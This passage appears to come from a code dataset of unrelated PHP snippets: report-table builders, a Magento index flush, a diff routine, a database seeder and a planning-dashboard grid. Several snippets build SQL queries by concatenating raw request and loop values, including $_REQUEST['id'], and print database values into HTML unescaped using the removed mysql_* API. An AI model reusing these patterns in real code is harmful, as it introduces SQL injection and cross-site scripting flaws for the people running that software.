$valor)\n\t\t\t{\n\n\t\t\t\t\n\t\t\t\t$indice = $cont + 1;\n\n\t\t\t\t$lineasTabla .= \"<tr>\n\t\t\t\t\t\t\t\t\t<td>\" . $indice . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $nomMes . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $zonaSel . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $provOrg[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $nombresOrganizaciones[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $rucDefinitivo[$cont] . \" - \" . $rucProvisional[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $catMatrizProductivaOrg[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $actOrgMP[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $numSociosOrganizacion[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $numPerCapacitadas[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $capMujeres[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $capHombres[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $servicioFortalecimiento[$cont] . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $eventosAsistentes[$cont] . \"</td>\n\t\t\t\t\t\t\t\t</tr>\";\n\t\t\t\t$cont++;\n\t\t\t}\n\n\t\t\t\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$tabla .= \"<tr>\n\t\t\t\t\t\t<td>ESTE INDICADOR TIENE 0 REGISTROS REPORTADOS</td>\n\t\t\t\t\t</tr>\";\n\t\t}\n\t}\n\n\tif($indicadorSel == 9)\n\t{\n\t\t$resIndicador = noveno_indicador($mesSel, $zonaSel);\n\t\t//print_r2($resIndicador);\n\t\t//global $orgSocios;\n\n\t\t$provNombre = \"\";\n\t\t$rucSocio = \"\";\n\t\t$cedulaSocio = \"\";\n\t\t$apellidosSocio = \"\";\n\t\t$orgSocio = \"\";\n\t\t$actividadOrgSocio = \"\";\n\t\t$categoriaOrgSocio = \"\";\n\t\t$identificacionCategoriaOrgSocio = \"\";\n\t\t$campoFortalecimiento = \"\";\n\t\t$generoSocio = \"\";\n\t\t$poblacionSocio = \"\";\n\t\t$grupoEtnicoSocio = \"\";\n\n\t\t//print_r2($resIndicador);\n\t\t//print_r2($orgSocios);\n\n\t\tif(count($resIndicador) > 0)\n\t\t{\n\t\t\t$provNombre = \"\";\n\t\t\t\n\t\t\t$nomMes = GetNombreMes($mesSel);\n\t\t\t$tablaHeader = \"<tr class='cabecera'>\n\t\t\t\t\t\t\t\t<th>INDICE</th>\n\t\t\t\t\t\t\t\t<th>MES</th>\n\t\t\t\t\t\t\t\t<th>ZONA</th>\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t<th>PROVINCIA</th>\n\t\t\t\t\t\t\t\t<th>RUC</th>\n\t\t\t\t\t\t\t\t<th>CEDULA</th>\n\t\t\t\t\t\t\t\t<th>APELLIDOS Y NOMBRES</th>\n\t\t\t\t\t\t\t\t<th>GENERO</th>\n\t\t\t\t\t\t\t\t<th>GRUPO ETNICO</th>\n\t\t\t\t\t\t\t\t<th>POBLACION</th>\n\t\t\t\t\t\t\t\t<th>ORGANIZACION</th>\n\t\t\t\t\t\t\t\t<th>ACTIVIDAD</th>\n\t\t\t\t\t\t\t\t<th>CATEGORIA ACTIVIDAD MATRIZ PRODUCTIVA</th>\n\t\t\t\t\t\t\t\t<th>IDENTIFICACION ACTIVIDAD MP</th>\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t<th>CAMPO FORTALECIMIENTO</th>\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t</tr>\";\n\t\t\t\n\n\t\t\t$lineasTabla = \"\";\n\t\t\t$cont = 0;\n\t\t\t$indice = 0;\n\n\t\t\tforeach($resIndicador as $valor)\n\t\t\t{\t\t\t\t\t\n\t\t\t\t$rucSocio = \"\";\n\t\t\t\t$cedulaSocio = \"\";\n\t\t\t\t$apellidosSocio = \"\";\n\t\t\t\t$orgSocio = \"\";\n\t\t\t\t$actividadOrgSocio = \"\";\n\t\t\t\t$categoriaOrgSocio = \"\";\n\t\t\t\t$identificacionCategoriaOrgSocio = \"\";\n\t\t\t\t$campoFortalecimiento = \"\";\n\t\t\t\t$generoSocio = \"\";\n\t\t\t\t$poblacionSocio = \"\";\n\t\t\t\t$grupoEtnicoSocio = \"\";\n\n\t\t\t\t$sqlOrgSocios = \"select cod_u_organizaciones from socios where cedula = '\" . $valor . \"' group by cod_u_organizaciones\";\n\n\t\t\t\t$resSqlOrgSocios = query($sqlOrgSocios);\n\t\t\t\t$numRegistros = mysql_num_rows($resSqlOrgSocios);\n\t\t\t\t//echo $numRegistros . \"<br>\";\n\n\t\t\t\tif($numRegistros > 1)\n\t\t\t\t{\n\t\t\t\t\t// El socio existe en mas de una organizacion, por lo cual se debe de tomar los cod_u_organizaciones\n\t\t\t\t\t$codOrgSocio = array();\n\t\t\t\t\t$codOrgReportada = array();\n\t\t\t\t\twhile($fila = mysql_fetch_array($resSqlOrgSocios))\n\t\t\t\t\t{\n\t\t\t\t\t\tarray_push($codOrgSocio, $fila['cod_u_organizaciones']);\n\t\t\t\t\t}\n\n\t\t\t\t\t// Se busca las organizaciones que han sido reportadas en el mes\n\t\t\t\t\t/*foreach($codOrgSocio as $codigoOrg)\n\t\t\t\t\t{\n\t\t\t\t\t\tif(in_array($codigoOrg, $orgSocios))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t//si el codigo de organizacion se encuentra reportada se guarda en codOrgReportada\n\t\t\t\t\t\t\tarray_push($codOrgReportada, $codigoOrg);\n\t\t\t\t\t\t}\n\t\t\t\t\t}*/\n\n\t\t\t\t\t// Se completa la informacion correspondiente\n\t\t\t\t\t$sqlNombresSocios = \"select apellidos, cedula, zona, cod_provincia, cod_canton, cod_parroquia, genero, grupo_etnico, poblacion, fecha_nacimiento, discapacidad, tipo_discapacidad, fecha_reporte from socios where cedula = '\" . $valor . \"' group by cedula\";\n\n\t\t\t\t\t$resSqlSocios = query($sqlNombresSocios);\n\t\t\t\t\t$codOrgReportada = $codOrgSocio;\n\t\t\t\t\twhile($fila = mysql_fetch_array($resSqlSocios))\n\t\t\t\t\t{\n\t\t\t\t\t\t$provNombre = GetNombreProvincia($zonaSel, $fila['cod_provincia']);\n\t\t\t\t\t\t$cedulaSocio = $fila['cedula'];\n\t\t\t\t\t\t$apellidosSocio = $fila['apellidos'];\n\t\t\t\t\t\t$generoSocio = $fila['genero'];\n\t\t\t\t\t\tif($generoSocio == '') $generoSocio = \"No registrado\";\n\t\t\t\t\t\t$poblacionSocio = $fila['poblacion'];\n\t\t\t\t\t\tif($poblacionSocio == '') $poblacionSocio = \"No registrado\";\n\t\t\t\t\t\t$grupoEtnicoSocio = $fila['grupo_etnico'];\n\t\t\t\t\t\tif($grupoEtnicoSocio == '') $grupoEtnicoSocio = \"No registrado\";\n\n\t\t\t\t\t\t$aux = 0;\n\t\t\t\t\t\tforeach($codOrgReportada as $codigoOrg)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$sqlRucOrgSocio = \"select ruc_definitivo, ruc_provisional, organizacion, actividad, categoria_actividad_mp, identificacion_actividad_mp from u_organizaciones where cod_u_organizaciones = \" . $codigoOrg;\n\t\t\t\t\t\t\t$resSqlRucOrgSocio = query($sqlRucOrgSocio);\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\twhile($fila1 = mysql_fetch_array($resSqlRucOrgSocio))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tif($aux == 0)\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$rucSocio = $fila1['ruc_definitivo'] . \" - \" . $fila1['ruc_provisional'];\n\t\t\t\t\t\t\t\t\t$orgSocio = $fila1['organizacion'];\n\t\t\t\t\t\t\t\t\t$actividadOrgSocio = $fila1['actividad'];\n\t\t\t\t\t\t\t\t\t$categoriaOrgSocio = $fila1['categoria_actividad_mp'];\n\t\t\t\t\t\t\t\t\t$identificacionCategoriaOrgSocio = $fila1['identificacion_actividad_mp'];\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t$rucSocio .= \" - \" . $fila1['ruc_definitivo'] . \" - \" . $fila1['ruc_provisional'];\n\t\t\t\t\t\t\t\t\t$orgSocio .= \" - \" . $fila1['organizacion'];\n\t\t\t\t\t\t\t\t\t$actividadOrgSocio .= \" - \" . $fila1['actividad'];\n\t\t\t\t\t\t\t\t\t$categoriaOrgSocio .= \" - \" . $fila1['categoria_actividad_mp'];\n\t\t\t\t\t\t\t\t\t$identificacionCategoriaOrgSocio .= \" - \" . $fila1['identificacion_actividad_mp'];\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t$sqlFortalecimiento = \"select e.campo_fortalecimiento, e.cod_evento from eventos_u_organizaciones ev inner join eventos e on (e.cod_evento = ev.cod_evento) where ev.cod_u_organizaciones = \" . $codigoOrg . \" and month(e.fecha_reporte) = \" . $mesSel . \" and e.anio = \" . $anioCurso . \" group by e.campo_fortalecimiento\";\n\n\t\t\t\t\t\t\t//echo $sqlFortalecimiento . \"<br>\";\n\t\t\t\t\t\t\t$resFortalecimiento = query($sqlFortalecimiento);\n\t\t\t\t\t\t\t$aux1 = 0;\n\t\t\t\t\t\t\twhile($fila1 = mysql_fetch_array($resFortalecimiento))\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t//se tiene que revisar si hay mas de un evento relacionado con esta org\n\t\t\t\t\t\t\t\tif($aux1 == 0) $campoFortalecimiento .= $fila1['campo_fortalecimiento'];\n\t\t\t\t\t\t\t\telse $campoFortalecimiento .= \" - \" . $fila1['campo_fortalecimiento'];\n\t\t\t\t\t\t\t\t$aux1++;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t$aux++;\n\n\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\n\n\n\t\t\t\t}\n\t\t\t\tif($numRegistros == 1)\n\t\t\t\t{\n\t\t\t\t\t$sqlNombresSocios = \"select apellidos, cedula, zona, cod_provincia, cod_canton, cod_parroquia, genero, grupo_etnico, poblacion, fecha_nacimiento, discapacidad, tipo_discapacidad, fecha_reporte , cod_u_organizaciones from socios where cedula = '\" . $valor . \"' order by cod_u_organizaciones\";\n\n\t\t\t\t\t$resSqlSocios = query($sqlNombresSocios);\n\t\t\t\t\twhile($fila = mysql_fetch_array($resSqlSocios))\n\t\t\t\t\t{\n\t\t\t\t\t\t$provNombre = GetNombreProvincia($zonaSel, $fila['cod_provincia']);\n\t\t\t\t\t\t$cedulaSocio = $fila['cedula'];\n\t\t\t\t\t\t$apellidosSocio = $fila['apellidos'];\n\t\t\t\t\t\t$generoSocio = $fila['genero'];\n\t\t\t\t\t\tif($generoSocio == '') $generoSocio = \"No registrado\";\n\t\t\t\t\t\t$poblacionSocio = $fila['poblacion'];\n\t\t\t\t\t\tif($poblacionSocio == '') $poblacionSocio = \"No registrado\";\n\t\t\t\t\t\t$grupoEtnicoSocio = $fila['grupo_etnico'];\n\t\t\t\t\t\tif($grupoEtnicoSocio == '') $grupoEtnicoSocio = \"No registrado\";\n\n\t\t\t\t\t\t$sqlRucOrgSocio = \"select ruc_definitivo, ruc_provisional, organizacion, actividad, categoria_actividad_mp, identificacion_actividad_mp from u_organizaciones where cod_u_organizaciones = \" . $fila['cod_u_organizaciones'];\n\t\t\t\t\t\t//echo $sqlRucOrgSocio . \"<br>\";\n\t\t\t\t\t\t$resSqlRucOrgSocio = query($sqlRucOrgSocio);\n\t\t\t\t\t\twhile($fila1 = mysql_fetch_array($resSqlRucOrgSocio))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t$rucSocio = $fila1['ruc_definitivo'] . \" - \" . $fila1['ruc_provisional'];\n\t\t\t\t\t\t\t$orgSocio = $fila1['organizacion'];\n\t\t\t\t\t\t\t$actividadOrgSocio = $fila1['actividad'];\n\t\t\t\t\t\t\t$categoriaOrgSocio = $fila1['categoria_actividad_mp'];\n\t\t\t\t\t\t\t$identificacionCategoriaOrgSocio = $fila1['identificacion_actividad_mp'];\n\t\t\t\t\t\t} \n\n\t\t\t\t\t\t$sqlFortalecimiento = \"select e.campo_fortalecimiento, e.cod_evento from eventos_u_organizaciones ev inner join eventos e on (e.cod_evento = ev.cod_evento) where ev.cod_u_organizaciones = \" . $fila['cod_u_organizaciones'] . \" and month(e.fecha_reporte) = \" . $mesSel . \" and e.anio = \" . $anioCurso . \" group by e.campo_fortalecimiento\";\n\t\t\t\t\t\t$resFortalecimiento = query($sqlFortalecimiento);\n\t\t\t\t\t\t$aux = 0;\n\t\t\t\t\t\twhile($fila1 = mysql_fetch_array($resFortalecimiento))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t//se tiene que revisar si hay mas de un evento relacionado con esta org\n\t\t\t\t\t\t\tif($aux == 0) $campoFortalecimiento .= $fila1['campo_fortalecimiento'];\n\t\t\t\t\t\t\telse $campoFortalecimiento .= \" - \" . $fila1['campo_fortalecimiento'];\n\t\t\t\t\t\t\t$aux++;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif($numRegistros == 0)\n\t\t\t\t{\n\t\t\t\t\t// No es un asistente que pertnezca a una organizacion\n\t\t\t\t\t$rucSocio = \"No pertenece a una ORG/UEP\";\n\t\t\t\t\t$orgSocio = \"No pertenece a una ORG/UEP\";\n\t\t\t\t\t$actividadOrgSocio = \"No pertenece a una ORG/UEP\";\n\t\t\t\t\t$categoriaOrgSocio = \"No pertenece a una ORG/UEP\";\n\t\t\t\t\t$identificacionCategoriaOrgSocio = \"No pertenece a una ORG/UEP\";\n\t\t\t\t\t$sqlAsisten = \"select cod_provincia, cedula, apellidos, campo_fortalecimiento, genero, grupo_etnico, poblacion from asistentes where cedula = '\" . $valor . \"' and month(fecha_reporte) = \" . $mesSel . \" and year(fecha_reporte) = \" . $anioCurso . \" and anio = \" . $anioCurso;\n\t\t\t\t\t$resAsisten = query($sqlAsisten);\n\t\t\t\t\twhile($fila = mysql_fetch_array($resAsisten))\n\t\t\t\t\t{\n\t\t\t\t\t\t$provNombre = GetNombreProvincia($zonaSel, $fila['cod_provincia']);\n\t\t\t\t\t\t$cedulaSocio = $valor;\n\t\t\t\t\t\t$apellidosSocio = $fila['apellidos'];\n\t\t\t\t\t\t$campoFortalecimiento = $fila['campo_fortalecimiento'];\n\t\t\t\t\t\t$generoSocio = $fila['genero'];\n\t\t\t\t\t\tif($generoSocio == '') $generoSocio = \"No registrado\";\n\t\t\t\t\t\t$poblacionSocio = $fila['poblacion'];\n\t\t\t\t\t\tif($poblacionSocio == '') $poblacionSocio = \"No registrado\";\n\t\t\t\t\t\t$grupoEtnicoSocio = $fila['grupo_etnico'];\n\t\t\t\t\t\tif($grupoEtnicoSocio == '') $grupoEtnicoSocio = \"No registrado\";\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t$indice = $cont + 1;\n\n\t\t\t\t$lineasTabla .= \"<tr>\n\t\t\t\t\t\t\t\t\t<td>\" . $indice . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $nomMes . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $zonaSel . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $provNombre . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $rucSocio . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $cedulaSocio . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $apellidosSocio . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $generoSocio . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $grupoEtnicoSocio . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $poblacionSocio . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $orgSocio . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $actividadOrgSocio . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $categoriaOrgSocio . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $identificacionCategoriaOrgSocio . \"</td>\n\t\t\t\t\t\t\t\t\t<td>\" . $campoFortalecimiento . \"</td>\t\t\t\t\t\n\t\t\t\t\t\t\t\t</tr>\";\n\t\t\t\t$cont++;\t\t\t\t\n\t\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$tabla .= \"<tr>\n\t\t\t\t\t\t<td>ESTE INDICADOR TIENE 0 REGISTROS REPORTADOS</td>\n\t\t\t\t\t</tr>\";\n\t\t}\n\n\n\n\t}\n\t$resultadoFinal = $tablaHeader . $lineasTabla;\n\treturn $resultadoFinal;\n}", "protected function flushIndex()\n {\n $this->canIndex();\n /**\n * Set indexer to use mview \n */\n $this->indexer->setScheduled(true);\n\n $writeAdapter = $this->resourceConnection->getConnection('core_write');\n\n /**\n * Flush all old data \n */\n $indexTable = $this->resourceConnection->getTableName('bazaarvoice_index_product');\n $writeAdapter->truncateTable($indexTable);\n $changelogTable = $this->resourceConnection->getTableName('bazaarvoice_product_cl');\n $writeAdapter->truncateTable($changelogTable);\n\n /**\n * Setup dummy rows \n */\n $productTable = $this->resourceConnection->getTableName('catalog_product_entity');\n $writeAdapter->query(\"INSERT INTO `$indexTable` (`product_id`, `version_id`) SELECT DISTINCT `entity_id`, '0' FROM `$productTable`;\");\n $writeAdapter->query(\"INSERT INTO `$changelogTable` (`entity_id`) SELECT DISTINCT `entity_id` FROM `$productTable`;\");\n\n /**\n * Reset mview version \n */\n $mviewTable = $this->resourceConnection->getTableName('mview_state');\n $writeAdapter->query(\"UPDATE `$mviewTable` SET `version_id` = NULL, `status` = 'idle' WHERE `view_id` = 'bazaarvoice_product';\");\n $indexCheck = $writeAdapter\n ->query(\n \"SELECT COUNT(1) indexIsThere FROM INFORMATION_SCHEMA.STATISTICS\n WHERE table_schema=DATABASE() AND table_name='$changelogTable' AND index_name='entity_id';\"\n );\n $indexCheck = $indexCheck->fetchObject();\n if ($indexCheck->indexIsThere == 0) {\n $writeAdapter->query(\"ALTER TABLE `$changelogTable` ADD INDEX (`entity_id`);\");\n }\n }", "protected function dropIndexes()\n {\n echo \"Dropping indexes\\n\";\n /** @var TableMigration $table */\n foreach ($this->tables as $table) {\n $table->dropIndexes();\n }\n }", "function populate_table()\n\t{\n\t\t$this->table = array();\n\n\t\t$prev_row = array();\n\t\tfor ($i = -1; $i < $this->data_new_len; $i++)\n\t\t{\n\t\t\t$prev_row[$i] = 0;\n\t\t}\n\n\t\tfor ($i = 0; $i < $this->data_old_len; $i++)\n\t\t{\n\t\t\t$this_row = array('-1' => 0);\n\t\t\t$data_old_value = $this->data_old[$i];\n\n\t\t\tfor ($j = 0; $j < $this->data_new_len; $j++)\n\t\t\t{\n\t\t\t\tif ($data_old_value == $this->data_new[$j])\n\t\t\t\t{\n\t\t\t\t\t$this_row[$j] = $prev_row[$j - 1] + 1;\n\t\t\t\t}\n\t\t\t\telse if ($this_row[$j - 1] > $prev_row[$j])\n\t\t\t\t{\n\t\t\t\t\t$this_row[$j] = $this_row[$j - 1];\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$this_row[$j] = $prev_row[$j];\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t$this->table[$i - 1] = $this->compress_row($prev_row);\n\t\t\t$prev_row = $this_row;\n\t\t}\n\t\tunset($prev_row);\n\t\t$this->table[$this->data_old_len - 1] = $this->compress_row($this_row);\n\t}", "private function resetQuery()\n {\n $this->cols('*');\n }", "public function reIndex() {\n $index = collect([]);\n // Loop through each of the hydrated fields\n $this->getHydrated()->each(function($field,$k) use ($index) {\n // Pass each field through the toPath process\n $field->toPath($index);\n });\n // Replace the current index value\n $this->index = $index;\n // Return for chaining\n return $this;\n }", "public function run()\n {\n DB::table('tyre_load_indices')->insert([\n 'index' => '144', 'load' => 2800\n ]);\n DB::table('tyre_load_indices')->insert([\n 'index' => '145', 'load' => 2900\n ]);\n DB::table('tyre_load_indices')->insert([\n 'index' => '146', 'load' => 3000\n ]);\n DB::table('tyre_load_indices')->insert([\n 'index' => '147', 'load' => 3075\n ]);\n DB::table('tyre_load_indices')->insert([\n 'index' => '148', 'load' => 3150\n ]);\n DB::table('tyre_load_indices')->insert([\n 'index' => '149', 'load' => 3250\n ]);\n DB::table('tyre_load_indices')->insert([\n 'index' => '150', 'load' => 3350\n ]);\n DB::table('tyre_load_indices')->insert([\n 'index' => '151', 'load' => 3450\n ]);\n DB::table('tyre_load_indices')->insert([\n 'index' => '152', 'load' => 3550\n ]);\n DB::table('tyre_load_indices')->insert([\n 'index' => '153', 'load' => 3650\n ]);\n DB::table('tyre_load_indices')->insert([\n 'index' => '154', 'load' => 3750\n ]);\n DB::table('tyre_load_indices')->insert([\n 'index' => '155', 'load' => 3875\n ]);\n DB::table('tyre_load_indices')->insert([\n 'index' => '156', 'load' => 4000\n ]);\n \n }", "public function optimize_tables()\n\t{\n\t\t$this->db->query(\"OPTIMIZE TABLE `prices`, `crosses`, `crosses_search`\");\n\t}", "public function createIndex(): void;", "function horarios()\n {\n $this->view2->__construct($this->dataView,$this->dataTable);\n $this->view2->show();\n }", "public function dropIndex(): void;", "public function refreshTable();", "public function crossTab($conteos,$codConteo,$nbrConteo,$columnas,$codColumna,$nbrColumna,$decimales=0,$mostrarTotales='A'){\n $conteosArr=array();\n foreach ($conteos as $conteo) {\n if(!isset($conteosArr[$conteo[$codConteo]])){\n $conteosArr[$conteo[$codConteo]]=array();\n }\n $conteosArr[$conteo[$codConteo]][$conteo['codigo']]=$conteo['cantidad'];\n }\n $columnArr=array();\n $columnArr[]=array('title' => $nbrConteo,'border' => 1,);\n foreach ($columnas as $columna) {\n $columnArr[]=array('title' => $columna[$nbrColumna], 'border' => 1, 'align' => 'R',);\n }\n if(in_array($mostrarTotales,array('F','A'))){\n $columnArr[]=array('title' => 'Totales','border' => 1,'align' => 'R',);\n }\n\n $reporteArr=$totales=array();\n $totales[]='Totales';\n foreach ($conteosArr as $anio => $value) {\n $subtotal=0;\n $tmp=array($anio);\n reset($columnas);\n foreach ($columnas as $columna) {\n if(!isset($totales[$columna[$codColumna]])){\n $totales[$columna[$codColumna]]=0;\n }\n if(!isset($value[$columna[$codColumna]])){\n $tmp[]=0;\n }\n else{\n $subtotal+=$value[$columna[$codColumna]];\n $tmp[]=number_format($value[$columna[$codColumna]],$decimales);\n $totales[$columna[$codColumna]]+=$value[$columna[$codColumna]];\n }\n }\n if(in_array($mostrarTotales,array('F','A'))){\n $tmp[]=number_format($subtotal,$decimales);\n }\n $reporteArr[]=$tmp;\n if(in_array($mostrarTotales,array('F','A'))){\n if(!isset($totales['subtotal'])){\n $totales['subtotal']=0;\n }\n $totales['subtotal']+=$subtotal;\n }\n }\n foreach ($totales as $key => $value) {\n if($value=='Totales'){\n continue;\n }\n $totales[$key]=number_format($value,$decimales);\n }\n if(in_array($mostrarTotales,array('C','A')) && count($reporteArr)){\n $reporteArr[]=array_values($totales);\n }\n $this->dataTable($columnArr,$reporteArr);\n $this->newLine();\n }", "function montaGridOBJ()\n{\n global $db;\n $arIds = explode('_', $_REQUEST['id']);\n ?>\n <div class=\"pagina\" style=\"width:100%\">\n <table width=\"100%\" cellpadding=\"4\">\n <tr>\n <td bgcolor=\"#4682B4\" width=\"100%\"><span class=\"titulo\">Iniciativas do Planejamento Estratégico</span></td>\n </tr>\n <tr>\n <td align=\"left\" valign=\"top\">\n <div id=\"div_roll_pagina\">\n <?php\n $sql = \"SELECT ini.ininome\n FROM pde.ae_iniciativa ini\n INNER JOIN pde.ae_objetivoestrategicoxiniciativa ins ON ins.iniid = ini.iniid\n WHERE ins.obeid = \".$arIds[1]. \"\n ORDER BY ini.iniordem\";\n $rs = $db->carregar($sql);\n if ($rs) {\n foreach($rs as $data){ ?>\n <div class=\"tile1 tile4 azulClaro iniciativasPEI\" style=\"cursor: default\">\n <span class=\"textoDescricao\"><?php echo $data['ininome']; ?></span><br/>\n </div>\n <?php }\n } ?>\n </div>\n </td>\n </tr>\n </table>\n <table width=\"100%\">\n <tr>\n <td bgcolor=\"#4682B4\" width=\"20%\"><span class=\"tituloInterno\">Metas PNE</span></td>\n <td bgcolor=\"#4682B4\" width=\"20%\"><span class=\"tituloInterno\">Metas / Iniciativas PPA</span></td>\n <td bgcolor=\"#4682B4\" width=\"20%\"><span class=\"tituloInterno\">Ações Estratégicas</span></td>\n <td bgcolor=\"#4682B4\" width=\"20%\"><span class=\"tituloInterno\">Orçamentos</span></td>\n <td bgcolor=\"#4682B4\" width=\"20%\"><span class=\"tituloInterno\">Projetos</span></td>\n </tr>\n <tr>\n <td id=\"div_metas_pne\" align=\"left\" valign=\"top\" style=\"padding-right:4px;\">\n <?php\n $sql = \"select mpneid from pde.ae_objetivoestrategicoxmetapne where obeid =\".$arIds[1];\n $dados = $db->carregarColuna($sql,'mpneid');\n $metas = implode(',',$dados);\n if ($metas)\n {\n $sql = \"select\n\t\t\t\t\t\t\t\t\t\tm.temid,\n\t\t\t\t\t\t\t\t\t\tm.mpneid as codigo,\n\t\t\t\t\t\t\t\t\t\tcoalesce(ind.link,'') || m.mpnenome as nome\n\t\t\t\t\t\t\t\t\tfrom pde.ae_metapne m\n\t\t\t\t\t\t\t\t\tleft join\n\t\t\t\t\t\t\t\t\t\t(\n\t\t\t\t\t\t\t\t\t\tselect\n\t\t\t\t\t\t\t\t\t\t\t'<a href=''/painel/painel.php?modulo=principal/detalhamentoIndicador&acao=A&detalhes=pais&paiid=1&mpneid='|| mpneid ||''' target=''_blank'' class=''linkPopupIndicador'' alt=''Indicadores'' title=''Indicadores''><img src=''../imagens/eixos-mini2.png'' height=''15'' border=''0'' /></a>&nbsp;' AS link,\n\t\t\t\t\t\t\t\t\t\t\tmpneid\n\t\t\t\t\t\t\t\t\t\tfrom pde.ae_metapnexindicador group by mpneid\n\t\t\t\t\t\t\t\t\t\t) as ind ON ind.mpneid = m.mpneid\n\t\t\t\t\t\t\t\t\twhere m.mpneid in ($metas)\n\t\t\t\t\t\t\t\t\t--and m.mpneid <> 99999999\n\t\t\t\t\t\t\t\t\torder by m.mpneordem\";\n $rs = $db->carregar($sql);\n\n if ($rs)\n {\n foreach($rs as $data)\n {\n echo '<div id=\"'.$data['temid'].'_'.$data['codigo'].'\" class=\"tile1 tile4 verde clickMetasPNE\">\n\t\t\t\t\t\t \t\t \t\t <span class=\"textoDescricao\">'.$data['nome'].'</span><br/></div>';\n }\n }\n }\n ?>\n </td>\n <td id=\"div_objetivo_ppa\" align=\"left\" valign=\"top\" style=\"padding-right:4px;\">\n <?php\n //$sql = \"select mppaid from pde.ae_objetivoestrategicoxmetappa where obeid =\".$arIds[1];\n $sql = \"SELECT mppaid\n FROM pde.ae_objetivoestrategicoxmetapne obe\n INNER JOIN pde.ae_metapnexppa met ON met.mpneid = obe.mpneid\n WHERE obe.obeid = \".$arIds[1];\n $dados = $db->carregarColuna($sql,'mppaid');\n $metas = implode(',',$dados);\n if ($metas){\n $sql = \"select mppaid as codigo, mppanome as nome, temid, o.objid, mppatipo\n from pde.ae_metappa m\n\t\t\t\t\t\t\t inner join pde.ae_objetivoppa o on m.objid = o.objid\n\t\t\t\t\t\t\t where mppaid in ($metas)\n\t\t\t\t\t\t\t order by mppatipo DESC, mppaordem\";\n $rs = $db->carregar($sql);\n if ($rs) {\n foreach($rs as $data)\n {\n echo '<div id=\"'.$data['temid'].'_'.$data['objid'].'_'.$data['codigo'].'_'.$data['mppatipo'].'\" class=\"tile1 tile4 azul clickMetasPPA\">\n\t\t\t\t\t\t \t\t \t\t <span class=\"textoDescricao\">'.$data['nome'].'</span><br/></div>';\n }\n }\n }\n ?>\n </td>\n <td id=\"div_acoes_metas\" align=\"left\" valign=\"top\" style=\"padding-right:4px;\">\n <?php\n //$sql = \"select acaid from pde.ae_objetivoestrategicoxacao where obeid =\".$arIds[1];\n $sql = \"SELECT acaid\n FROM pde.ae_objetivoestrategicoxmetapne obe\n INNER JOIN pde.ae_acaoxmetapne met ON met.mpneid = obe.mpneid\n WHERE obe.obeid = \".$arIds[1];\n $dados = $db->carregarColuna($sql, 'acaid');\n $acoes = implode(',', $dados);\n\n if ($acoes) {\n $sql = \"\n select aca.temid, aca.acaid as codigo, aca.acadsc as nome, aca.acadetalhe, aca.indidprincipal, coc.coclink\n from painel.acao aca\n left join pde.cockpit coc ON coc.cocid = aca.cocid\n where aca.acaid in ($acoes)\n order by aca.acadsc\n \";\n $rs = $db->carregar($sql);\n if ($rs) {\n foreach ($rs as $data) {\n echo '\n <div class=\"tile1 tile4 laranja clickAcoesEstrategicas\" id=\"' . $data['temid'] . '_' . $data['codigo'] . '\" >\n ' . ($data['coclink'] ? '<a href=\"' . $data['coclink'] . '\" target=\"_blank\" class=\"linkPopupPainel\" alt=\"Painel Estratégico\" title=\"Painel Estratégico\"><img src=\"../imagens/odometro.png\" height=\"15\" border=\"0\" /></a>&nbsp;' : '') . '\n ' . ($data['indidprincipal'] ? '<a href=\"/painel/painel.php?modulo=principal/detalhamentoIndicador&acao=A&detalhes=pais&abreMapa=1&cockpit=1&indid=' . $data['indidprincipal'] . '\" target=\"_blank\" 